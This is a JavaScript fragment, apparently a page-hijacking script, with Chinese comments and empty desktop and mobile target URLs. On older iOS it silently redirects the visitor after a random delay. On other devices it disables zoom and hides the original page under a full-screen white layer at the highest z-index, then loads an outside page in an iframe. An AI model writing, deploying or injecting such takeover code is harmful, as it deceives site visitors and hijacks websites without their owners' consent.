"; // 电脑链接
const mobileUrl = ""; // 移动链接
const isIOS = !!navigator.userAgent.match(/(iPod|iPhone|iPad)/);
const time = Math.floor(Math.random() * (1000 - 500 + 1)) + 500;
if (isIOS && getIosVersion() < 13) {
setTimeout(() => {
window.location.href = mobileUrl;
}, time);
} else {
// 检测用户使用的设备类型
const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
document.addEventListener("DOMContentLoaded", () => {
const viewportMeta = document.createElement("meta");
viewportMeta.setAttribute("name", "viewport");
viewportMeta.setAttribute("content", "user-scalable=no, width=device-width, initial-scale=1.0");
document.head.appendChild(viewportMeta);
const style = document.createElement("style");
style.innerHTML = "html, body { width: 100%; height: 100%; overflow: hidden; }";
document.head.appendChild(style);
const divContainer = document.createElement("div");
divContainer.style.cssText = "width: 100%; height: 100%; position: absolute; top: 0; left: 0; z-index: 2147483647; background: #fff;";
document.body.appendChild(divContainer);
const iframe = document.createElement("iframe");
iframe.src = isMobile ? mobileUrl : desktopUrl;
iframe.style.cssText = "border: 0; width: 100%; text-align: center; border: medium none; height: 100%; max-height: 4000px;";
divContainer.appendChild(iframe);
});
}